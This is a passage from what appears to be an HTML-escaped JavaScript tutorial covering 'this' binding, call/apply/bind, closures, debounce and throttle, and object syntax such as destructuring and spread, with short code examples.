&lt;tr&gt;
&lt;td&gt;Own &lt;code&gt;this&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yes, depends on the call&lt;/td&gt;
&lt;td&gt;No, uses surrounding &lt;code&gt;this&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;arguments&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No (use &lt;code&gt;...rest&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can use &lt;code&gt;new&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Good as object method&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Good as callback&lt;/td&gt;
&lt;td&gt;Sure&lt;/td&gt;
&lt;td&gt;Best&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  What is &lt;code&gt;this&lt;/code&gt;? (4 rules, in priority order)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;new Fn()&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;this&lt;/code&gt; is the new object.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;fn.call(obj)&lt;/code&gt;, &lt;code&gt;apply&lt;/code&gt;, &lt;code&gt;bind&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;this&lt;/code&gt; is &lt;code&gt;obj&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;obj.method()&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;this&lt;/code&gt; is &lt;code&gt;obj&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plain &lt;code&gt;fn()&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;this&lt;/code&gt; is &lt;code&gt;undefined&lt;/code&gt; in strict mode, &lt;code&gt;globalThis&lt;/code&gt; otherwise.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Arrow functions skip all of this and inherit &lt;code&gt;this&lt;/code&gt; from where they were written.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Asha&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nf"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="nf"&gt;later&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="c1"&gt;// arrow keeps this&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;f&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                      &lt;span class="c1"&gt;// this is lost&lt;/span&gt;
&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;             &lt;span class="c1"&gt;// 'Asha'&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bound&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;bound&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                  &lt;span class="c1"&gt;// 'Asha'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// call now, args listed&lt;/span&gt;
&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;    &lt;span class="c1"&gt;// call now, args as array&lt;/span&gt;
&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;          &lt;span class="c1"&gt;// returns a new function, call later&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Handy patterns
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* IIFE: runs immediately, rarely needed with modules */&lt;/span&gt; &lt;span class="p"&gt;})();&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;compose&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;fns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;fns&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduceRight&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// composition&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;curry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                          &lt;span class="c1"&gt;// currying&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;fact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nf"&gt;fact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;              &lt;span class="c1"&gt;// recursion needs a base case&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Higher-order function:&lt;/strong&gt; takes or returns a function (&lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;addEventListener&lt;/code&gt;).&lt;br&gt;
&lt;strong&gt;Pure function:&lt;/strong&gt; same input, same output, no side effects. Easiest code to test.&lt;/p&gt;


&lt;h2&gt;
  
  
  9. Closures
&lt;/h2&gt;

&lt;p&gt;A closure is a function that &lt;strong&gt;remembers the variables from where it was created&lt;/strong&gt;, even after that outer function has finished.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                &lt;span class="c1"&gt;// private, nobody else can touch it&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 1&lt;/span&gt;
&lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Used for:&lt;/strong&gt; private state, factories, memoization, debounce, event handlers, callbacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  The classic loop bug
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;   &lt;span class="c1"&gt;// 3 3 3 (one shared var)&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;   &lt;span class="c1"&gt;// 0 1 2 (new let per iteration)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Debounce and throttle
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;debounce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;            &lt;span class="c1"&gt;// run after the user STOPS for ms&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;clearTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;throttle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;            &lt;span class="c1"&gt;// run at most once per ms&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;last&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;last&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;last&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nf"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Closures can keep big objects alive. Clear timers and listeners you no longer need.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Objects
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Asha&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                              &lt;span class="c1"&gt;// shorthand for name: name&lt;/span&gt;
  &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;is&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;           &lt;span class="c1"&gt;// computed key&lt;/span&gt;
  &lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`Hi &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="kd"&gt;get&lt;/span&gt; &lt;span class="nf"&gt;label&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;)`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;            &lt;span class="c1"&gt;// two ways to read&lt;/span&gt;
&lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                      &lt;span class="c1"&gt;// true (includes inherited)&lt;/span&gt;
&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hasOwn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;         &lt;span class="c1"&gt;// true (own property, modern replacement for hasOwnProperty)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Destructuring and spread
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;userName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;others&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="c1"&gt;// rename, default, rest&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;updated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;31&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;                      &lt;span class="c1"&gt;// copy + override&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;merged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;overrides&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;              &lt;span class="c1"&gt;// later wins&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Essential &lt;code&gt;Object&lt;/code&gt; methods
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Object.keys(o)&lt;/code&gt;, &lt;code&gt;values(o)&lt;/code&gt;, &lt;code&gt;entries(o)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Arrays of own enumerable keys, values, pairs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.fromEntries(pairs)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pairs back to an object&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.assign(target, ...src)&lt;/code&gt;&lt;/td&gt;
